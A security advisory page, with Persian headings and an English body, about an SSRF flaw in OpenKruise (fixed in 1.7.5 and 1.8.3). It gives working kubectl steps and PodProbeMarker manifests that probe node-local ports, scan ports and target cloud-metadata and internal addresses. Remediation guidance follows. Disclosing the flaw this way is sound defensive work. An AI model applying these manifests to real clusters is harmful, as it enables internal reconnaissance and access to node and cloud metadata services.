نسخههای متأثر
بازهها نیاز به بررسی دارند.
- نسخههای متأثر
- < 1.7.5
- نسخهٔ اصلاحشده
- 1.7.5
- نسخههای متأثر
- <1.7.5 || >=1.8.0 <1.8.3
- نسخهٔ اصلاحشده
- 1.7.5 · 1.8.3
- نسخههای متأثر
- >= 1.8.0, < 1.8.3
- نسخهٔ اصلاحشده
- 1.8.3
بهرهبرداری
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Summary
PodProbeMarker allows defining custom probes with TCPSocket or HTTPGet handlers. The webhook validation does not restrict the Host field in these probe configurations. Since kruise-daemon runs with hostNetwork=true, it executes probes from the node network namespace. An attacker with PodProbeMarker creation permission can specify arbitrary Host values (127.0.0.1, 169.254.169.254, internal IPs) to trigger SSRF from the node, perform port scanning, and receive response feedback through NodePodProbe status messages.
Kubernetes Version
Kubernetes: v1.30.0 (kind cluster)
Distribution: kind
Component Version
OpenKruise: v1.8.0
kruise-daemon: DaemonSet with hostNetwork=true
Affected CRDs: PodProbeMarker, NodePodProbe
Steps To Reproduce
Environment Setup
Install OpenKruise v1.8.0 in kind cluster:
helm repo add openkruise https://openkruise.github.io/charts/
helm install kruise openkruise/kruise --version 1.8.0 \
--namespace kruise-system --create-namespace
Verify kruise-daemon runs with hostNetwork:
kubectl -n kruise-system get ds kruise-daemon -o yaml | grep hostNetwork
Output:
hostNetwork: true
Create test namespace and RBAC:
kubectl apply -f - <<EOF
apiVersion: v1
kind: Namespace
metadata:
name: tenant-a
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: attacker
namespace: tenant-a
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: ppm-creator
namespace: tenant-a
rules:
- apiGroups: ["apps.kruise.io"]
resources: ["podprobemarkers"]
verbs: ["create","get","list","watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: ppm-creator-binding
namespace: tenant-a
subjects:
- kind: ServiceAccount
name: attacker
namespace: tenant-a
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: ppm-creator
EOF
Deploy victim workload:
kubectl apply -f - <<EOF
apiVersion: apps/v1
kind: Deployment
metadata:
name: victim
namespace: tenant-a
spec:
replicas: 1
selector:
matchLabels:
app: victim
template:
metadata:
labels:
app: victim
spec:
containers:
- name: victim
image: busybox:1.36
command: ["/bin/sh","-c","sleep 36000"]
EOF
Exploitation Steps
Verify node-local port accessibility (kubelet healthz):
NODE_CONTAINER=$(docker ps --format '{{.Names}}' | grep control-plane)
docker exec $NODE_CONTAINER curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:10248/healthz
Output:
200
Create SSRF PodProbeMarker targeting node-local port (as attacker):
kubectl -n tenant-a apply --as system:serviceaccount:tenant-a:attacker -f - <<EOF
apiVersion: apps.kruise.io/v1alpha1
kind: PodProbeMarker
metadata:
name: ppm-tcp-ssrf
namespace: tenant-a
spec:
selector:
matchLabels:
app: victim
probes:
- name: tcp-ssrf
containerName: victim
podConditionType: ssrf.kruise.io/tcp
probe:
tcpSocket:
host: 127.0.0.1
port: 10248
timeoutSeconds: 2
periodSeconds: 5
EOF
Output:
podprobemarker.apps.kruise.io/ppm-tcp-ssrf created
Wait for probe execution and observe SSRF result:
sleep 10
NODE_NAME=$(kubectl get nodes -o jsonpath='{.items[0].metadata.name}')
kubectl get nodepodprobe $NODE_NAME -o yaml | grep -A 20 "ppm-tcp-ssrf"
Output:
name: ppm-tcp-ssrf#tcp-ssrf
probe:
tcpSocket:
host: 127.0.0.1
port: 10248
status:
podProbeStatuses:
- name: victim-8596ff64d6-jklnb
namespace: tenant-a
probeStates:
- lastProbeTime: "2026-01-13T17:48:10Z"
name: ppm-tcp-ssrf#tcp-ssrf
state: Succeeded
Evidence: Probe succeeded, confirming kruise-daemon accessed node-local port 127.0.0.1:10248 from node network namespace.
Demonstrate port scanning capability (closed port):
kubectl -n tenant-a apply --as system:serviceaccount:tenant-a:attacker -f - <<EOF
apiVersion: apps.kruise.io/v1alpha1
kind: PodProbeMarker
metadata:
name: ppm-tcp-closed
namespace: tenant-a
spec:
selector:
matchLabels:
app: victim
probes:
- name: tcp-closed
containerName: victim
podConditionType: ssrf.kruise.io/tcp-closed
probe:
tcpSocket:
host: 127.0.0.1
port: 9999
timeoutSeconds: 2
periodSeconds: 5
EOF
Observe port scanning result:
kubectl get nodepodprobe $NODE_NAME -o yaml | grep -A 5 "ppm-tcp-closed"
Output:
- lastProbeTime: "2026-01-13T17:51:08Z"
message: 'dial tcp 127.0.0.1:9999: connect: connection refused'
name: ppm-tcp-closed#tcp-closed
state: Failed
Evidence: Failed probe with "connection refused" message enables port state differentiation for scanning.
Verify Pod condition and events:
VICTIM_POD=$(kubectl -n tenant-a get pod -l app=victim -o jsonpath='{.items[0].metadata.name}')
kubectl -n tenant-a describe pod $VICTIM_POD | grep -A 10 "Conditions:"
Output:
Conditions:
Type Status
ssrf.kruise.io/tcp True
ssrf.kruise.io/tcp-closed False
Events:
Normal KruiseProbeSucceeded 96s (x24 over 3m26s) kruise-daemon-podprobe
Source Code Evidence
TCPSocket Host field used without restriction:
File: pkg/daemon/podprobe/prober.go
func (pb *prober) newTCPSocketProber(tcp *v1.TCPSocketAction, podIP string) tcpProber {
host := tcp.Host
if host == "" {
host = podIP
}
return tcpProber{
tcp: tcp,
host: host,
}
}
Webhook validation does not check Host field:
File: pkg/webhook/podprobemarker/validating/probe_create_update_handler.go
func validateTCPSocketAction(tcp *corev1.TCPSocketAction, fldPath *field.Path) field.ErrorList {
return ValidatePortNumOrName(tcp.Port, fldPath.Child("port"))
}
Note: Only port validation, no Host restriction.
Attack Scenarios
Scenario 1 - Cloud metadata access:
probe:
tcpSocket:
host: 169.254.169.254
port: 80
Scenario 2 - Internal service discovery:
probe:
tcpSocket:
host: 10.0.0.1
port: 6379
Scenario 3 - Node-local kubelet API:
probe:
tcpSocket:
host: 127.0.0.1
port: 10250
Supporting Material/References
Verification Evidence
kruise-daemon hostNetwork configuration:
$ kubectl -n kruise-system get ds kruise-daemon -o yaml | grep -A 2 "hostNetwork"
hostNetwork: true
restartPolicy: Always
Successful SSRF to open port (127.0.0.1:10248):
status:
podProbeStatuses:
probeStates:
- name: ppm-tcp-ssrf#tcp-ssrf
state: Succeeded
Port scanning result for closed port (127.0.0.1:9999):
status:
podProbeStatuses:
probeStates:
- message: 'dial tcp 127.0.0.1:9999: connect: connection refused'
name: ppm-tcp-closed#tcp-closed
state: Failed
Pod condition reflecting probe results:
Conditions:
Type Status
ssrf.kruise.io/tcp True
ssrf.kruise.io/tcp-closed False
Impact Assessment
Confidentiality: Medium-High. Access to node-local services, cloud metadata, internal network resources.
Integrity: Low. Primarily information disclosure.
Availability: Medium. Resource consumption from probe requests.
Limitations
HTTPGet probe rejected by webhook in OpenKruise v1.8.0:
Error: admission webhook denied the request: spec.probe.probe: Forbidden: current no support http probe
TCPSocket probe remains vulnerable.
Remediation
Temporary mitigation:
Restrict PodProbeMarker creation permissions
Apply network policies limiting kruise-daemon egress
Audit existing PodProbeMarker resources
Permanent fix:
Enforce Host field restrictions in webhook validation
Deny private IP ranges (127.0.0.0/8, 10.0.0.0/8, 169.254.0.0/16)
Require Host to be empty or equal to PodIP
Sanitize error messages in NodePodProbe status
Verification Environment: kind v1.30.0 + OpenKruise v1.8.0
پیوندها
- https://github.com/advisories/GHSA-9fj4-3849-rv9g
- https://github.com/openkruise/kruise
- https://github.com/openkruise/kruise/commit/94364b76adf3e8a1749a31afe809a163bed29613
- https://github.com/openkruise/kruise/releases/tag/v1.7.5
- https://github.com/openkruise/kruise/releases/tag/v1.8.3
- https://github.com/openkruise/kruise/security/advisories/GHSA-9fj4-3849-rv9g
- https://nvd.nist.gov/vuln/detail/CVE-2026-24005
گزارشدهندگان
- b0b0haha
- j311yl0v3u

